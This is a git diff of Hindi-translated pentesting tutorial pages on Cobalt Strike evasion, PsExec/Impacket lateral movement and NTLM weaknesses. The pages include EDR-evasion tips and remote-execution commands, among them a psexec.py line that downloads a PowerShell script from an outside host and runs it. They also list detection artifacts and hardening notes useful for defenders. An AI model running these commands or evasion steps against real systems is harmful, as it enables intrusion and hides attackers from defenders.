- Cobalt Strike में आप BOF (Beacon Object Files) का भी उपयोग कर सकते हैं: [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET) - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) -एग्रेसर स्क्रिप्ट `https://github.com/outflanknl/HelpColor` Cobalt Strike में `helpx` कमांड बनाएगा जो कमांड में रंग डाल देगा यह संकेत करते हुए कि वे BOFs (हरा), यदि वे Frok&Run (पीला) और इसी तरह के हैं, या यदि वे ProcessExecution, इंजेक्शन या इसी तरह के हैं (लाल)। जो यह जानने में मदद करता है कि कौन से कमांड अधिक चुपके हैं। +एग्रेसर स्क्रिप्ट `https://github.com/outflanknl/HelpColor` Cobalt Strike में `helpx` कमांड बनाएगी जो कमांड में रंग डाल देगी यह संकेत करते हुए कि वे BOFs (हरा), यदि वे Frok&Run (पीला) हैं और इसी तरह, या यदि वे ProcessExecution, इंजेक्शन या इसी तरह के हैं (लाल)। जो यह जानने में मदद करता है कि कौन से कमांड अधिक चुपके हैं। ### Act as the user -आप ईवेंट जैसे `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents` की जांच कर सकते हैं: +आप घटनाओं की जांच कर सकते हैं जैसे `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`: -- सुरक्षा EID 4624 - सामान्य संचालन के घंटों को जानने के लिए सभी इंटरैक्टिव लॉगऑन की जांच करें। +- सुरक्षा EID 4624 - सभी इंटरएक्टिव लॉगिन की जांच करें ताकि सामान्य कार्य समय का पता चल सके। - सिस्टम EID 12,13 - शटडाउन/स्टार्टअप/नींद की आवृत्ति की जांच करें। - सुरक्षा EID 4624/4625 - वैध/अवैध NTLM प्रयासों की जांच करें। -- सुरक्षा EID 4648 - यह ईवेंट तब उत्पन्न होता है जब लॉग ऑन करने के लिए प्लेनटेक्स्ट क्रेडेंशियल्स का उपयोग किया जाता है। यदि किसी प्रक्रिया ने इसे उत्पन्न किया है, तो बाइनरी में संभावित रूप से क्रेडेंशियल्स स्पष्ट पाठ में एक कॉन्फ़िग फ़ाइल या कोड के अंदर हो सकते हैं। +- सुरक्षा EID 4648 - यह घटना तब उत्पन्न होती है जब प्लेनटेक्स्ट क्रेडेंशियल्स का उपयोग लॉगिन के लिए किया जाता है। यदि किसी प्रक्रिया ने इसे उत्पन्न किया है, तो बाइनरी में संभावित रूप से क्रेडेंशियल्स स्पष्ट पाठ में एक कॉन्फ़िग फ़ाइल या कोड के अंदर हो सकते हैं। -Cobalt Strike से `jump` का उपयोग करते समय, नए प्रोसेस को अधिक वैध दिखाने के लिए `wmi_msbuild` विधि का उपयोग करना बेहतर है। +Cobalt Strike से `jump` का उपयोग करते समय, नए प्रक्रिया को अधिक वैध दिखाने के लिए `wmi_msbuild` विधि का उपयोग करना बेहतर है। ### Use computer accounts -यह सामान्य है कि रक्षकों को उपयोगकर्ताओं द्वारा उत्पन्न अजीब व्यवहार की जांच करने के लिए और **सेवा खातों और कंप्यूटर खातों जैसे `*$` को अपने निगरानी से बाहर करने के लिए**। आप इन खातों का उपयोग लेटरल मूवमेंट या विशेषाधिकार वृद्धि करने के लिए कर सकते हैं। +यह सामान्य है कि रक्षकों द्वारा उपयोगकर्ताओं से उत्पन्न अजीब व्यवहार की जांच की जा रही है और **सेवा खातों और कंप्यूटर खातों जैसे `*$` को उनके निगरानी से बाहर रखा गया है**। आप इन खातों का उपयोग लेटरल मूवमेंट या विशेषाधिकार वृद्धि करने के लिए कर सकते हैं। ### Use stageless payloads -Stageless payloads स्टेज्ड की तुलना में कम शोर करते हैं क्योंकि उन्हें C2 सर्वर से दूसरे चरण को डाउनलोड करने की आवश्यकता नहीं होती है। इसका मतलब है कि वे प्रारंभिक कनेक्शन के बाद कोई नेटवर्क ट्रैफ़िक उत्पन्न नहीं करते हैं, जिससे उन्हें नेटवर्क-आधारित सुरक्षा द्वारा पहचानने की संभावना कम हो जाती है। +Stageless payloads स्टेज्ड की तुलना में कम शोर करते हैं क्योंकि उन्हें C2 सर्वर से दूसरे चरण को डाउनलोड करने की आवश्यकता नहीं होती है। इसका मतलब है कि वे प्रारंभिक कनेक्शन के बाद कोई नेटवर्क ट्रैफ़िक उत्पन्न नहीं करते हैं, जिससे उन्हें नेटवर्क-आधारित सुरक्षा द्वारा पहचानने की संभावना कम होती है। ### Tokens & Token Store जब आप टोकन चुराते हैं या उत्पन्न करते हैं तो सावधान रहें क्योंकि यह संभव है कि EDR सभी थ्रेड्स के सभी टोकनों को सूचीबद्ध कर सके और एक **विभिन्न उपयोगकर्ता** या यहां तक कि प्रक्रिया में SYSTEM से संबंधित **टोकन** खोज सके। -यह टोकनों को **प्रत्येक बीकन के लिए स्टोर** करने की अनुमति देता है ताकि बार-बार उसी टोकन को चुराने की आवश्यकता न हो। यह लेटरल मूवमेंट के लिए या जब आपको कई बार चुराए गए टोकन का उपयोग करने की आवश्यकता हो तो उपयोगी है: +यह टोकनों को **प्रति बीकन** संग्रहीत करने की अनुमति देता है ताकि बार-बार उसी टोकन को चुराने की आवश्यकता न हो। यह लेटरल मूवमेंट के लिए या जब आपको एक चुराए गए टोकन का कई बार उपयोग करने की आवश्यकता हो: - token-store steal - token-store steal-and-use @@ -234,25 +234,25 @@ Stageless payloads स्टेज्ड की तुलना में कम Cobalt Strike में **Guardrails** नामक एक विशेषता है जो कुछ कमांड या क्रियाओं के उपयोग को रोकने में मदद करती है जो रक्षकों द्वारा पहचानी जा सकती हैं। Guardrails को विशिष्ट कमांड, जैसे `make_token`, `jump`, `remote-exec`, और अन्य को अवरुद्ध करने के लिए कॉन्फ़िगर किया जा सकता है जो आमतौर पर लेटरल मूवमेंट या विशेषाधिकार वृद्धि के लिए उपयोग किए जाते हैं। -इसके अलावा, रिपॉजिटरी [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) में कुछ चेक और विचार भी शामिल हैं जिन्हें आप पेलोड निष्पादित करने से पहले विचार कर सकते हैं। +इसके अलावा, रेपो [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) में कुछ चेक और विचार भी शामिल हैं जिन्हें आप एक पेलोड निष्पादित करने से पहले विचार कर सकते हैं। ### Tickets encryption -AD में टिकटों के एन्क्रिप्शन के साथ सावधान रहें। डिफ़ॉल्ट रूप से, कुछ टूल Kerberos टिकटों के लिए RC4 एन्क्रिप्शन का उपयोग करेंगे, जो AES एन्क्रिप्शन की तुलना में कम सुरक्षित है और डिफ़ॉल्ट रूप से अद्यतन वातावरण AES का उपयोग करेंगे। इसे रक्षकों द्वारा कमजोर एन्क्रिप्शन एल्गोरिदम की निगरानी करने के लिए पहचाना जा सकता है। +AD में टिकटों के एन्क्रिप्शन के साथ सावधान रहें। डिफ़ॉल्ट रूप से, कुछ टूल Kerberos टिकटों के लिए RC4 एन्क्रिप्शन का उपयोग करेंगे, जो AES एन्क्रिप्शन की तुलना में कम सुरक्षित है और डिफ़ॉल्ट रूप से अद्यतन वातावरण AES का उपयोग करेंगे। इसे कमजोर एन्क्रिप्शन एल्गोरिदम के लिए निगरानी कर रहे रक्षकों द्वारा पहचाना जा सकता है। ### Avoid Defaults -Cobalt Strike का उपयोग करते समय डिफ़ॉल्ट रूप से SMB पाइप का नाम `msagent_####` और `"status_####` होगा। उन नामों को बदलें। Cobalt Strike से मौजूदा पाइप के नामों की जांच करने के लिए कमांड का उपयोग करना संभव है: `ls \\.\pipe\` +Cobalt Strike का उपयोग करते समय डिफ़ॉल्ट रूप से SMB पाइप का नाम `msagent_####` और `"status_####` होगा। उन नामों को बदलें। Cobalt Strike से मौजूदा पाइप के नामों की जांच करने के लिए कमांड का उपयोग करें: `ls \\.\pipe\` इसके अलावा, SSH सत्रों में `\\.\pipe\postex_ssh_####` नामक एक पाइप बनाया जाता है। इसे `set ssh_pipename "";` के साथ बदलें। इसके अलावा, पोस्ट एक्सप्लॉइटेशन हमले में पाइप `\\.\pipe\postex_####` को `set pipename ""` के साथ संशोधित किया जा सकता है। -Cobalt Strike प्रोफाइल में आप निम्नलिखित जैसी चीजें भी संशोधित कर सकते हैं: +Cobalt Strike प्रोफाइल में आप निम्नलिखित चीजें भी संशोधित कर सकते हैं: - `rwx` का उपयोग करने से बचना - प्रक्रिया इंजेक्शन व्यवहार कैसे काम करता है (कौन से APIs का उपयोग किया जाएगा) `process-inject {...}` ब्लॉक में -- "फोर्क और रन" कैसे काम करता है `post-ex {…}` ब्लॉक में +- "fork and run" कैसे काम करता है `post-ex {…}` ब्लॉक में - नींद का समय - मेमोरी में लोड होने वाले बाइनरी का अधिकतम आकार - मेमोरी फुटप्रिंट और DLL सामग्री `stage {...}` ब्लॉक के साथ @@ -264,15 +264,15 @@ Cobalt Strike प्रोफाइल में आप निम्नलिख ### Noisy proc injections -जब किसी प्रक्रिया में कोड इंजेक्ट किया जाता है तो यह आमतौर पर बहुत शोर करता है, इसका कारण यह है कि **कोई नियमित प्रक्रिया आमतौर पर इस क्रिया को नहीं करती है और इसे करने के तरीके बहुत सीमित हैं**। इसलिए, इसे व्यवहार-आधारित पहचान प्रणालियों द्वारा पहचाना जा सकता है। इसके अलावा, इसे EDRs द्वारा नेटवर्क को स्कैन करते समय भी पहचाना जा सकता है **थ्रेड्स में कोड जो डिस्क में नहीं है** (हालांकि प्रक्रियाएँ जैसे ब्राउज़र जो JIT का उपयोग करते हैं, यह सामान्यतः करते हैं)। उदाहरण: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) +जब किसी प्रक्रिया में कोड इंजेक्ट किया जाता है तो यह आमतौर पर बहुत शोर करता है, इसका कारण यह है कि **कोई नियमित प्रक्रिया आमतौर पर इस क्रिया को नहीं करती है और इसे करने के तरीके बहुत सीमित हैं**। इसलिए, इसे व्यवहार-आधारित पहचान प्रणालियों द्वारा पहचाना जा सकता है। इसके अलावा, इसे EDRs द्वारा स्कैन किए गए नेटवर्क में **कोड वाले थ्रेड्स** के लिए भी पहचाना जा सकता है (हालांकि ब्राउज़र जैसी प्रक्रियाएँ JIT का उपयोग करती हैं)। उदाहरण: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) -### Spawnas | PID and PPID relationships +### Spawnas | PID and PPID relationships -जब एक नई प्रक्रिया स्पॉन की जाती है, तो यह महत्वपूर्ण है कि **प्रक्रियाओं के बीच एक नियमित माता-पिता-शिशु** संबंध बनाए रखा जाए ताकि पहचान से बचा जा सके। यदि svchost.exec iexplorer.exe को निष्पादित कर रहा है तो यह संदिग्ध लगेगा, क्योंकि svchost.exe सामान्य Windows वातावरण में iexplorer.exe का माता-पिता नहीं है। +जब एक नई प्रक्रिया उत्पन्न की जाती है, तो यह महत्वपूर्ण है कि **प्रक्रियाओं के बीच एक नियमित माता-पिता-शिशु** संबंध बनाए रखा जाए ताकि पहचान से बचा जा सके। यदि svchost.exec iexplorer.exe को निष्पादित कर रहा है, तो यह संदिग्ध लगेगा, क्योंकि svchost.exe सामान्य Windows वातावरण में iexplorer.exe का माता-पिता नहीं है। -जब Cobalt Strike में एक नया बीकन स्पॉन किया जाता है, तो डिफ़ॉल्ट रूप से एक प्रक्रिया का उपयोग करके **`rundll32.exe`** बनाया जाता है जो नए लिस्नर को चलाता है। यह बहुत चुपके नहीं है और EDRs द्वारा आसानी से पहचाना जा सकता है। इसके अलावा, `rundll32.exe` बिना किसी args के चलाया जाता है जिससे यह और भी संदिग्ध हो जाता है। +जब Cobalt Strike में एक नया बीकन उत्पन्न होता है, तो डिफ़ॉल्ट रूप से एक प्रक्रिया का उपयोग करके **`rundll32.exe`** बनाया जाता है जो नए लिस्नर को चलाता है। यह बहुत चुपके नहीं है और EDRs द्वारा आसानी से पहचाना जा सकता है। इसके अलावा, `rundll32.exe` बिना किसी args के चलाया जाता है जिससे यह और भी संदिग्ध हो जाता है। -निम्नलिखित Cobalt Strike कमांड के साथ, आप नए बीकन को स्पॉन करने के लिए एक अलग प्रक्रिया निर्दिष्ट कर सकते हैं, जिससे इसे पहचानना कम हो जाता है: +Cobalt Strike के निम्नलिखित कमांड के साथ, आप नए बीकन को उत्पन्न करने के लिए एक अलग प्रक्रिया निर्दिष्ट कर सकते हैं, जिससे इसे पहचानना कम हो जाता है: ```bash spawnto x86 svchost.exe ``` @@ -280,11 +280,11 @@ spawnto x86 svchost.exe ### हमलावरों के ट्रैफ़िक को प्रॉक्सी करना -हमलावरों को कभी-कभी स्थानीय रूप से उपकरण चलाने की आवश्यकता होती है, यहां तक कि लिनक्स मशीनों में भी, और पीड़ितों का ट्रैफ़िक उपकरण तक पहुँचाना होता है (जैसे NTLM रिले)। +हमलावरों को कभी-कभी उपकरणों को स्थानीय रूप से चलाने की आवश्यकता होती है, यहां तक कि लिनक्स मशीनों में भी, और पीड़ितों का ट्रैफ़िक उपकरण तक पहुँचाना होता है (जैसे NTLM रिले)। -इसके अलावा, कभी-कभी पास-थी-हैश या पास-थी-टिकट हमले को करने के लिए हमलावर के लिए **अपने स्वयं के LSASS प्रक्रिया में इस हैश या टिकट को जोड़ना** अधिक छिपा हुआ होता है और फिर इससे पिवट करना होता है बजाय इसके कि वह किसी पीड़ित मशीन के LSASS प्रक्रिया को संशोधित करे। +इसके अलावा, कभी-कभी पास-थे-हैश या पास-थे-टिकट हमले को करने के लिए हमलावर के लिए **अपने स्वयं के LSASS प्रक्रिया में इस हैश या टिकट को जोड़ना** अधिक छिपा हुआ होता है और फिर इससे पिवट करना होता है बजाय इसके कि वह किसी पीड़ित मशीन के LSASS प्रक्रिया को संशोधित करे। -हालांकि, आपको **उत्पन्न ट्रैफ़िक के साथ सावधान रहना चाहिए**, क्योंकि आप अपने बैकडोर प्रक्रिया से असामान्य ट्रैफ़िक (kerberos?) भेज सकते हैं। इसके लिए आप एक ब्राउज़र प्रक्रिया में पिवट कर सकते हैं (हालांकि आप एक प्रक्रिया में खुद को इंजेक्ट करते समय पकड़े जा सकते हैं, इसलिए इसे करने के लिए एक छिपा हुआ तरीका सोचें)। +हालांकि, आपको **जनित ट्रैफ़िक के साथ सावधान रहना चाहिए**, क्योंकि आप अपने बैकडोर प्रक्रिया से असामान्य ट्रैफ़िक (kerberos?) भेज सकते हैं। इसके लिए आप एक ब्राउज़र प्रक्रिया में पिवट कर सकते हैं (हालांकि आप एक प्रक्रिया में खुद को इंजेक्ट करते समय पकड़े जा सकते हैं, इसलिए इसे करने के लिए एक छिपा हुआ तरीका सोचें)। ```bash ### Avoiding AVs @@ -293,6 +293,7 @@ spawnto x86 svchost.exe Check the page: + {{#ref}} av-bypass.md {{#endref}} diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index 0c7cd89e2..15adcb9ff 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -9,7 +9,7 @@ 1. लक्षित होस्ट पर प्रमाणीकरण करें और SMB (TCP/445) के माध्यम से ADMIN$ शेयर तक पहुँचें। 2. एक निष्पादन योग्य फ़ाइल कॉपी करें या एक LOLBAS कमांड लाइन निर्दिष्ट करें जिसे सेवा चलाएगी। 3. SCM (MS-SCMR over \PIPE\svcctl) के माध्यम से दूरस्थ रूप से एक सेवा बनाएं जो उस कमांड या बाइनरी की ओर इशारा करती है। -4. पेलोड निष्पादित करने के लिए सेवा शुरू करें और वैकल्पिक रूप से stdin/stdout को एक नामित पाइप के माध्यम से कैप्चर करें। +4. पेलोड निष्पादित करने के लिए सेवा शुरू करें और वैकल्पिक रूप से stdin/stdout को नामित पाइप के माध्यम से कैप्चर करें। 5. सेवा को रोकें और साफ करें (सेवा और किसी भी ड्रॉप की गई बाइनरी को हटाएं)। आवश्यकताएँ/पूर्व-आवश्यकताएँ: @@ -60,7 +60,7 @@ PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig \\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami ``` OPSEC -- सेवा स्थापित/अनइंस्टॉल घटनाओं को छोड़ता है (सेवा का नाम अक्सर PSEXESVC होता है जब तक -r का उपयोग नहीं किया जाता) और निष्पादन के दौरान C:\Windows\PSEXESVC.exe बनाता है। +- सेवा स्थापित/अनइंस्टॉल घटनाओं को छोड़ता है (सेवा का नाम अक्सर PSEXESVC होता है जब -r का उपयोग नहीं किया जाता) और निष्पादन के दौरान C:\Windows\PSEXESVC.exe बनाता है। ### Impacket psexec.py (PsExec-जैसा) @@ -79,7 +79,7 @@ psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex" ``` Artifacts -- अस्थायी EXE C:\Windows\ में (यादृच्छिक 8 अक्षर)। सेवा का नाम डिफ़ॉल्ट रूप से RemComSvc होता है जब तक कि इसे ओवरराइड नहीं किया जाता। +- अस्थायी EXE C:\Windows\ में (यादृच्छिक 8 अक्षर)। सेवा का नाम डिफ़ॉल्ट रूप से RemComSvc होता है जब तक कि इसे ओवरराइड न किया जाए। ### Impacket smbexec.py (SMBExec) @@ -94,7 +94,7 @@ smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST ```cmd SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName ``` -- [SharpMove](https://github.com/0xthirteen/SharpMove) में एक सेवा को संशोधित/निर्माण करने की क्षमता होती है ताकि दूरस्थ रूप से एक आदेश निष्पादित किया जा सके। +- [SharpMove](https://github.com/0xthirteen/SharpMove) में सेवा संशोधन/निर्माण शामिल है ताकि दूरस्थ रूप से एक आदेश निष्पादित किया जा सके। ```cmd SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService SharpMove.exe action=startservice computername=remote.host.local servicename=TestService @@ -108,7 +108,7 @@ cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec PsExec-जैसी तकनीकों का उपयोग करते समय सामान्य होस्ट/नेटवर्क आर्टिफैक्ट: - लक्षित पर सुरक्षा 4624 (लॉगऑन प्रकार 3) और 4672 (विशेष विशेषाधिकार) प्रशासनिक खाते के लिए। -- सुरक्षा 5140/5145 फ़ाइल साझा और फ़ाइल साझा विस्तृत घटनाएँ ADMIN$ पहुँच और सेवा बाइनरी (जैसे, PSEXESVC.exe या यादृच्छिक 8-चर .exe) के निर्माण/लेखन को दिखा रही हैं। +- सुरक्षा 5140/5145 फ़ाइल शेयर और फ़ाइल शेयर विस्तृत घटनाएँ ADMIN$ पहुँच और सेवा बाइनरी (जैसे, PSEXESVC.exe या यादृच्छिक 8-चर .exe) के निर्माण/लेखन को दिखा रही हैं। - लक्षित पर सुरक्षा 7045 सेवा स्थापना: सेवा नाम जैसे PSEXESVC, RemComSvc, या कस्टम (-r / -service-name)। - Sysmon 1 (प्रक्रिया निर्माण) services.exe या सेवा छवि के लिए, 3 (नेटवर्क कनेक्ट), 11 (फ़ाइल निर्माण) C:\Windows\ में, 17/18 (पाइप बनाया/जुड़ा) पाइप के लिए जैसे \\.\pipe\psexesvc, \\.\pipe\remcom_*, या यादृच्छिक समकक्ष। - Sysinternals EULA के लिए रजिस्ट्री आर्टिफैक्ट: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 ऑपरेटर होस्ट पर (यदि दबाया नहीं गया)। @@ -120,24 +120,26 @@ PsExec-जैसी तकनीकों का उपयोग करते ## Troubleshooting common failures - सेवाएँ बनाने पर पहुँच अस्वीकृत (5): वास्तव में स्थानीय व्यवस्थापक नहीं, स्थानीय खातों के लिए UAC दूरस्थ प्रतिबंध, या सेवा बाइनरी पथ पर EDR छेड़छाड़ सुरक्षा। -- नेटवर्क पथ नहीं मिला (53) या ADMIN$ से कनेक्ट नहीं कर सका: SMB/RPC को अवरुद्ध करने वाला फ़ायरवॉल या प्रशासनिक साझाएँ अक्षम। +- नेटवर्क पथ नहीं मिला (53) या ADMIN$ से कनेक्ट नहीं कर सका: SMB/RPC को अवरुद्ध करने वाला फ़ायरवॉल या व्यवस्थापक शेयर अक्षम। - Kerberos विफल होता है लेकिन NTLM अवरुद्ध है: hostname/FQDN (IP नहीं) का उपयोग करके कनेक्ट करें, उचित SPNs सुनिश्चित करें, या Impacket का उपयोग करते समय टिकटों के साथ -k/-no-pass प्रदान करें। -- सेवा प्रारंभ समय समाप्त हो जाता है लेकिन पेलोड चलता है: यदि वास्तविक सेवा बाइनरी नहीं है तो अपेक्षित; आउटपुट को फ़ाइल में कैप्चर करें या लाइव I/O के लिए smbexec का उपयोग करें। +- सेवा प्रारंभ समय समाप्त हो जाता है लेकिन पेलोड चला: यदि वास्तविक सेवा बाइनरी नहीं है तो अपेक्षित; आउटपुट को फ़ाइल में कैप्चर करें या लाइव I/O के लिए smbexec का उपयोग करें। ## Hardening notes - Windows 11 24H2 और Windows Server 2025 डिफ़ॉल्ट रूप से आउटबाउंड (और Windows 11 इनबाउंड) कनेक्शनों के लिए SMB साइनिंग की आवश्यकता होती है। यह वैध क्रेड्स के साथ वैध PsExec उपयोग को बाधित नहीं करता है लेकिन बिना साइन किए SMB रिले दुरुपयोग को रोकता है और उन उपकरणों पर प्रभाव डाल सकता है जो साइनिंग का समर्थन नहीं करते हैं। -- नए SMB क्लाइंट NTLM अवरुद्ध (Windows 11 24H2/Server 2025) IP द्वारा कनेक्ट करते समय या गैर-Kerberos सर्वरों से कनेक्ट करते समय NTLM फॉलबैक को रोक सकता है। सख्त वातावरण में यह NTLM-आधारित PsExec/SMBExec को तोड़ देगा; Kerberos (hostname/FQDN) का उपयोग करें या यदि वैध रूप से आवश्यक हो तो अपवाद कॉन्फ़िगर करें। +- नए SMB क्लाइंट NTLM अवरोधन (Windows 11 24H2/Server 2025) IP द्वारा कनेक्ट करते समय या गैर-Kerberos सर्वरों से कनेक्ट करते समय NTLM फॉलबैक को रोक सकता है। सख्त वातावरण में यह NTLM-आधारित PsExec/SMBExec को तोड़ देगा; Kerberos (hostname/FQDN) का उपयोग करें या यदि वैध रूप से आवश्यक हो तो अपवाद कॉन्फ़िगर करें। - न्यूनतम विशेषाधिकार का सिद्धांत: स्थानीय व्यवस्थापक सदस्यता को कम करें, Just-in-Time/Just-Enough Admin को प्राथमिकता दें, LAPS को लागू करें, और 7045 सेवा स्थापना पर निगरानी/अलर्ट करें। ## See also -- WMI-आधारित दूरस्थ कार्यान्वयन (अक्सर अधिक फ़ाइल रहित): +- WMI-आधारित रिमोट एक्सेक (अक्सर अधिक फ़ाइल रहित): + {{#ref}} ./wmiexec.md {{#endref}} -- WinRM-आधारित दूरस्थ कार्यान्वयन: +- WinRM-आधारित रिमोट एक्सेक: + {{#ref}} ./winrm.md @@ -148,6 +150,6 @@ PsExec-जैसी तकनीकों का उपयोग करते ## References - PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec -- SMB सुरक्षा हार्डनिंग Windows Server 2025 & Windows 11 (डिफ़ॉल्ट रूप से साइनिंग, NTLM अवरोधन): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591 +- SMB सुरक्षा हार्डनिंग Windows Server 2025 & Windows 11 में (डिफ़ॉल्ट रूप से साइनिंग, NTLM अवरोधन): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/rdpexec.md b/src/windows-hardening/lateral-movement/rdpexec.md index 4d263c3a1..3e7e6bfb3 100644 --- a/src/windows-hardening/lateral-movement/rdpexec.md +++ b/src/windows-hardening/lateral-movement/rdpexec.md @@ -8,6 +8,7 @@ अधिक जानकारी के लिए देखें: + {{#ref}} ../../network-services-pentesting/pentesting-rdp.md {{#endref}} diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 8ec980251..73d835e71 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -2,9 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} + ## Basic Information -उन वातावरणों में जहाँ **Windows XP और Server 2003** का संचालन हो रहा है, LM (Lan Manager) हैश का उपयोग किया जाता है, हालाँकि यह व्यापक रूप से मान्यता प्राप्त है कि इन्हें आसानी से समझौता किया जा सकता है। एक विशेष LM हैश, `AAD3B435B51404EEAAD3B435B51404EE`, एक ऐसे परिदृश्य को दर्शाता है जहाँ LM का उपयोग नहीं किया गया है, जो एक खाली स्ट्रिंग के लिए हैश का प्रतिनिधित्व करता है। +उन वातावरणों में जहाँ **Windows XP और Server 2003** का संचालन हो रहा है, LM (Lan Manager) हैश का उपयोग किया जाता है, हालाँकि यह व्यापक रूप से माना जाता है कि इन्हें आसानी से समझौता किया जा सकता है। एक विशेष LM हैश, `AAD3B435B51404EEAAD3B435B51404EE`, एक ऐसे परिदृश्य को दर्शाता है जहाँ LM का उपयोग नहीं किया गया है, जो एक खाली स्ट्रिंग के लिए हैश का प्रतिनिधित्व करता है। डिफ़ॉल्ट रूप से, **Kerberos** प्रमाणीकरण प्रोटोकॉल मुख्य विधि है जो उपयोग की जाती है। NTLM (NT LAN Manager) कुछ विशेष परिस्थितियों में कदम रखता है: Active Directory की अनुपस्थिति, डोमेन का अस्तित्व न होना, गलत कॉन्फ़िगरेशन के कारण Kerberos का खराब काम करना, या जब कनेक्शन एक IP पते का उपयोग करके स्थापित करने का प्रयास किया जाता है बजाय एक मान्य होस्टनेम के। @@ -17,7 +18,7 @@ - LM हैश कमजोर होते हैं और एक खाली LM हैश (`AAD3B435B51404EEAAD3B435B51404EE`) इसके न उपयोग का संकेत देता है। - Kerberos डिफ़ॉल्ट प्रमाणीकरण विधि है, NTLM केवल कुछ विशेष परिस्थितियों में उपयोग किया जाता है। - NTLM प्रमाणीकरण पैकेट "NTLMSSP" हेडर द्वारा पहचाने जा सकते हैं। -- LM, NTLMv1, और NTLMv2 प्रोटोकॉल का समर्थन सिस्टम फ़ाइल `msv1\_0.dll` द्वारा किया जाता है। +- LM, NTLMv1, और NTLMv2 प्रोटोकॉल सिस्टम फ़ाइल `msv1\_0.dll` द्वारा समर्थित हैं। ## LM, NTLMv1 और NTLMv2 @@ -53,11 +54,11 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE 5. **सर्वर** **डोमेन नियंत्रक** को **डोमेन नाम, उपयोगकर्ता नाम, चुनौती और प्रतिक्रिया** भेजता है। यदि कोई सक्रिय निर्देशिका कॉन्फ़िगर नहीं है या डोमेन नाम सर्वर का नाम है, तो प्रमाण-पत्र **स्थानीय रूप से जांचे जाते हैं**। 6. **डोमेन नियंत्रक** जांचता है कि सब कुछ सही है और जानकारी सर्वर को भेजता है -**सर्वर** और **डोमेन नियंत्रक** **नेटलॉगन** सर्वर के माध्यम से एक **सुरक्षित चैनल** बनाने में सक्षम हैं क्योंकि डोमेन नियंत्रक सर्वर का पासवर्ड जानता है (यह **NTDS.DIT** db के अंदर है)। +**सर्वर** और **डोमेन नियंत्रक** **नेटलॉगन** सर्वर के माध्यम से एक **सुरक्षित चैनल** बनाने में सक्षम हैं क्योंकि डोमेन नियंत्रक सर्वर का पासवर्ड जानता है (यह **NTDS.DIT** डेटाबेस के अंदर है)। ### Local NTLM authentication Scheme -प्रमाणीकरण वही है जैसा कि **पहले उल्लेख किया गया था लेकिन** **सर्वर** **यूजर** के **हैश** को **SAM** फ़ाइल के अंदर जानता है। इसलिए, डोमेन नियंत्रक से पूछने के बजाय, **सर्वर स्वयं जांचेगा** कि क्या उपयोगकर्ता प्रमाणीकरण कर सकता है। +प्रमाणीकरण वही है जैसा कि **पहले उल्लेख किया गया था लेकिन** **सर्वर** **यूजर** के **हैश** को जानता है जो **SAM** फ़ाइल के अंदर प्रमाणीकरण करने की कोशिश कर रहा है। इसलिए, डोमेन नियंत्रक से पूछने के बजाय, **सर्वर स्वयं जांच करेगा** कि क्या उपयोगकर्ता प्रमाणीकरण कर सकता है। ### NTLMv1 Challenge @@ -68,20 +69,20 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE **समस्याएँ**: - **यादृच्छिकता** की कमी -- 3 भागों को **अलग-अलग हमला** किया जा सकता है ताकि NT हैश पाया जा सके +- 3 भागों को **अलग-अलग हमला** किया जा सकता है NT हैश खोजने के लिए - **DES को क्रैक किया जा सकता है** - 3º कुंजी हमेशा **5 शून्य** से बनी होती है। -- दिए गए **एक ही चुनौती** पर **प्रतिक्रिया** **एक जैसी** होगी। इसलिए, आप पीड़ित को **"1122334455667788"** स्ट्रिंग के रूप में **चुनौती** दे सकते हैं और **पूर्व-निर्मित रेनबो टेबल्स** का उपयोग करके प्रतिक्रिया पर हमला कर सकते हैं। +- दिए गए **एक ही चुनौती** पर **प्रतिक्रिया** **एक समान** होगी। इसलिए, आप पीड़ित को **"1122334455667788"** स्ट्रिंग के रूप में **चुनौती** दे सकते हैं और **पूर्व-निर्मित रेनबो टेबल्स** का उपयोग करके प्रतिक्रिया पर हमला कर सकते हैं। ### NTLMv1 attack -आजकल बिना सीमित प्रतिनिधित्व के साथ वातावरण पाना कम सामान्य होता जा रहा है, लेकिन इसका 